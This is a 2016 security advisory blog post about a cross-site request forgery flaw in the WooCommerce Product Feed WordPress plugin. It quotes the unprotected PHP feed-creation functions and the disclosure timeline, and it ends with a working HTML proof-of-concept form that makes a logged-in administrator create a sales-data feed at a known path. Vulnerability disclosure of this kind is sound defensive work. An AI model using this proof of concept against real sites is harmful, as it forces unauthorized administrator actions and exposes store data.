13 Sep 2016

Cross-Site Request Forgery (CSRF) Vulnerability in WooCommerce Product Feed

One of the things we do to provide the best data on vulnerabilities in WordPress plugins is to monitor the wordpress.org Support Forum for threads related to those. Last week we came across a thread indicating that there was cross-site request forgery (CSRF) vulnerability in the plugin WooCommerce Product Feed. When we went to look into this we noticed that version that was supposed to fix this didn’t have any changes that looked related to that. When then asked in thread if the developer was sure that the intended fix was included, they responded yes, but what they said then did to fix the vulnerability had actually been done in version released after we asked them the question, so the truth was that they had not.

Not enough information was given for us to determine if there had actually been the claimed CSRF vulnerability in the plugin, but while looking over the plugin we when original came across the thread, we noticed a cross-site request forgery (CSRF) that exists in the current version of the plugin.

The plugin generates product feeds from WooCommerce, for sharing data with shopping services. The creation of a new product feed lack CSRF protection, so if you could get a logged in Administrator to visit a page you control you could cause a new product feed to be created at a location known to the hacker. A lot of the information that can be included in that is usually public, so the potential security risk would depend on if any information that could be included is something that the website wouldn’t want known to someone outside of it.

Requests to generate a feed our sent to the page /wp-admin/admin.php?page=webappick-product-feed-for-woocommerce%2Fadmin%2Fclass-woo-feed-admin.php, which causes the function woo_feed_generate_feed(), in the file /woo-feed.php, to run. That in turn causes the function woo_feed_add_update() to run when creating a new feed:

350
351
352
353
354
355
356
function woo_feed_generate_feed()
{
    if (isset($_POST['provider'])) {
        ini_set('display_errors', 1);
        ini_set('display_startup_errors', 1);
        error_reporting(E_ALL);
        $process = woo_feed_add_update($_POST);

To prevent cross-site request forgery (CSRF) there should be nonce check done before the feed is created, but that doesn’t occur before woo_feed_add_update() is run and that function also doesn’t do one before getting into the code that creates the feed:

235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
function woo_feed_add_update($info = "", $name = "")
{
    set_time_limit(0);
    if (count($info) && isset($info['provider'])) {
        # GEt Post data
        if ($info['provider'] == 'google') {
            $merchant = "Woo_Feed_Google";
        } elseif ($info['provider'] == 'facebook') {
            $merchant = "Woo_Feed_Facebook";
        } else {
            $merchant = "Woo_Feed_Custom";
        }
 
        $feedService = sanitize_text_field($info['provider']);
        $fileName = str_replace(" ", "", sanitize_text_field($info['filename']));
        $type = sanitize_text_field($info['feedType']);

We notified the developer directly a week ago and also notified them of that contact in the previously mentioned thread, but so far we have received no response and the vulnerability hasn’t been fixed, despite a new version being released since then.

Proof of Concept

The following proof of concept will cause a new product feed to be generated with total sales of all the products and be stored at /wp-content/uploads/woo-feed/custom/csv/TotalSales.csv, when logged in to WordPress as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=webappick-product-feed-for-woocommerce%2Fadmin%2Fclass-woo-feed-admin.php" method="POST">
<input type="hidden" name="provider" value="custom">
<input type="hidden" name="provider" value="custom">
<input type="hidden" name="filename" value="Total Sales">
<input type="hidden" name="feedType" value="csv">
<input type="hidden" name="itemsWrapper" value="products">
<input type="hidden" name="itemWrapper" value="product">
<input type="hidden" name="extraHeader" value="">
<input type="hidden" name="delimiter" value=",">
<input type="hidden" name="enclosure" value="double">
<input type="hidden" name="wf_tabs" value="on">
<input type="hidden" name="mattributes[]" value="Product">
<input type="hidden" name="prefix[]" value="">
<input type="hidden" name="type[]" value="attribute">
<input type="hidden" name="attributes[]" value="title">
<input type="hidden" name="default[]" value="">
<input type="hidden" name="suffix[]" value="">
<input type="hidden" name="output_type[0][]" value="1">
<input type="hidden" name="limit[]" value="">
<input type="hidden" name="mattributes[]" value="Total Sales">
<input type="hidden" name="prefix[]" value="">
<input type="hidden" name="type[]" value="attribute">
<input type="hidden" name="attributes[]" value="wf_cattr_total_sales">
<input type="hidden" name="default[]" value="">
<input type="hidden" name="suffix[]" value="">
<input type="hidden" name="output_type[1][]" value="1">
<input type="hidden" name="limit[]" value="">
<input type="hidden" name="ftpenabled" value="0">
<input type="hidden" name="ftphost" value="">
<input type="hidden" name="ftpuser" value="">
<input type="hidden" name="ftppassword" value="">
<input type="hidden" name="ftppath" value="">
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

9/6/2016 – Developer notified.


Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

One thought on “Cross-Site Request Forgery (CSRF) Vulnerability in WooCommerce Product Feed

Leave a Reply

Your email address will not be published. Required fields are marked *